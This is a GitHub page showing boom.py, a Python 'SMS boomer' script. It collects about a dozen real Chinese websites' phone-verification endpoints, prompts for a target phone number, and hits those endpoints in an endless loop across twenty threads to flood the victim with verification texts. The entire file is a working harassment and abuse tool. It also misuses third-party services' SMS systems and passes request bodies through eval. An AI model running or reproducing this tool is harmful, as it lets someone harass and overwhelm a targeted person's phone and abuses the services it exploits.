forked from chankeh/sms_boomer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathboom.py
180 lines (167 loc) · 6.49 KB
/
boom.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
import requests
import json
import time
import random
import _thread
import time
# post地址 post参数
APIS = [
# 赛雷网游加速器
{
'url': 'https://api.cpspeed.com/index/verify-code',
'body': {
'login_type': '1', 'telephone': '手机号码', 'verify_code': '', 'scenario': 'login-dynamic-code',
'redirect_url': 'https://client.cpspeed.com//login/success', 'mac': '', 'channel_id': ''
}
},
# 带我去 频率限制 1分钟
{
'url': 'https://accounts.daiwoqu.com/api',
'body': {
'type': 'login_yzm', 'phone': '手机号码', 'kind': 'login_yzm',
}
},
# 中国人事考试图书网
{
'url': 'https://rsks.class.com.cn/sysuser/fg/member/code?type=1&smsEnum=0&phone=手机号码&email=',
},
# CNMO
{
'url': 'http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_时间1&mobile=手机号码&type=5&_=时间2',
'headers': {
'Referer': 'http://passport.cnmo.com/'
}
},
# 华测云
{
'url': 'http://cloud.huacenav.com:9000/Account/Auth/GetPhoneCode',
'body': {
'phoneno': '手机号码',
},
},
# wedo
{
'url': 'http://www.wedoone.cn/reg/getPhoneCode.action',
'body': {
'phoneNum': '手机号码',
},
},
# shareinstall
{
'url': 'http://api.shareinstall.com.cn/login/sendmessage',
'body': {
'mobile': '手机号码', 'type': '1'
}
},
# xueersi
{
'url': 'https://reg.xueersi.com/RegV1/sendVcode',
'body': {
'phone': '手机号码'
},
'headers': {
'Referer': 'https://zt.xueersi.com/zaixian/pc-zhu-tiyanke/quanke/indexa.html?xeswx_sourceid=124550308&xeswx_adsiteid=731779&xeswx_siteid=272&&hot_url=aHR0cHM6Ly9hcnRlbWlzLnh1ZWVyc2kuY29tL3hlcy5waHA/c291cmNlPTEyNDU1MDMwOCZzaXRlX2lkPTI3MiZhZHNpdGVfaWQ9NzMxNzc5JmJkX3ZpZD01Nzk5MzUwNzkxOTYzMDQzMjk3Jm9jcGNfcmVwb3J0PWElM0E1JTNBJTdCcyUzQTYlM0ElMjJiZF92aWQlMjIlM0JzJTNBMTklM0ElMjI1Nzk5MzUwNzkxOTYzMDQzMjk3JTIyJTNCcyUzQTglM0ElMjJjbGlja19pZCUyMiUzQnMlM0ExOSUzQSUyMjU3OTkzNTA3OTE5NjMwNDMyOTclMjIlM0JzJTNBOSUzQSUyMnNvdXJjZV9pZCUyMiUzQmklM0ExMjQ1NTAzMDglM0JzJTNBMTElM0ElMjJjdXN0b21lcl9pZCUyMiUzQmklM0EyNzIlM0JzJTNBNyUzQSUyMmhvdF91cmwlMjIlM0JzJTNBMTQ0JTNBJTIyYUhSMGNEb3ZMMkZ5ZEdWdGFYTXVlSFZsWlhKemFTNWpiMjB2ZUdWekxuQm9jRDl6YjNWeVkyVTlNVEkwTlRVd016QTRKbk5wZEdWZmFXUTlNamN5Sm1Ga2MybDBaVjlwWkQwM016RTNOemttWW1SZmRtbGtQVFUzT1Rrek5UQTNPVEU1TmpNd05ETXlPVGMlM0QlMjIlM0IlN0QmbV9jaGFubmVsPWhvdA=='
}
},
# yingsheng
{
'url': 'https://sso.yingsheng.com/crosApi',
'body': 'Cs25"sso_getRegisterMobileCode"a1{s11"手机号码"}z',
},
# baixing
{
'url': 'https://www.baixing.com/oz/verify/reg?mobile=手机号码',
},
# 51sxue
{
'url': 'http://www.51sxue.com/index.php',
'body': {
'app': 'member', 'act': 'regPhone', 'phone': '手机号码', 'username': '456dadad'
}
},
# yespmp
{
'url': 'https://admin.yespmp.com/YespmpWeb/registerSendCode',
'body': {
'phone': '手机号码'
}
},
# xiezuocat
{
'url': 'https://xiezuocat.com/verify?type=signup',
'payload': True,
'body': {
'phone': '86-手机号码'
}
},
]
def sendSMS(API, phone):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36',
}
if API.get('headers'):
headers.update(API.get('headers'))
url = API.get('url').replace("手机号码", phone).replace("时间1", str(int(time.time() * 1000))).replace("时间2", str(
int(time.time() * 1000)))
body = API.get('body')
try:
if body:
body = eval(str(body).replace("手机号码", phone)) if isinstance(body, dict) else body.replace("手机号码", phone)
if API.get('payload'):
body = json.dumps(body)
r = requests.post(url, body, headers=headers)
else:
r = requests.get(url, headers=headers)
# print(r.status_code)
# print(r.text)
# print(json.loads(r.text))
except:
...
def main(phone):
i = 1
while i > 0:
for API in APIS:
sendSMS(API, phone)
time.sleep(random.randint(1, 3))
print(f"{time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())} 第{i}轮轰炸完成!等待60秒后,开始第{i + 1}轮轰炸!")
time.sleep(3)
i += 1
# 为线程定义一个函数
def print_time( threadName, delay,phone):
# count = 0
while True:
time.sleep(delay)
# count += 1
# print ("%s: %s" % ( threadName, time.ctime(time.time()) ))
main(phone)
if __name__ == '__main__':
# 手机号
phone = input('请输入要轰炸的手机号:')
# sendSMS(APIS[-1], phone)
# 创建两个线程
try:
_thread.start_new_thread( print_time, ("Thread-1", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-2", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-3", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-4", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-5", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-6", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-7", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-8", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-9", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-10", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-11", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-12", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-13", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-14", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-15", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-16", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-17", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-18", 1, phone) )
_thread.start_new_thread( print_time, ("Thread-19", 1,phone) )
_thread.start_new_thread( print_time, ("Thread-20", 1, phone) )
except:
print ("Error: 无法启动线程")
while 1:
pass
# main(phone)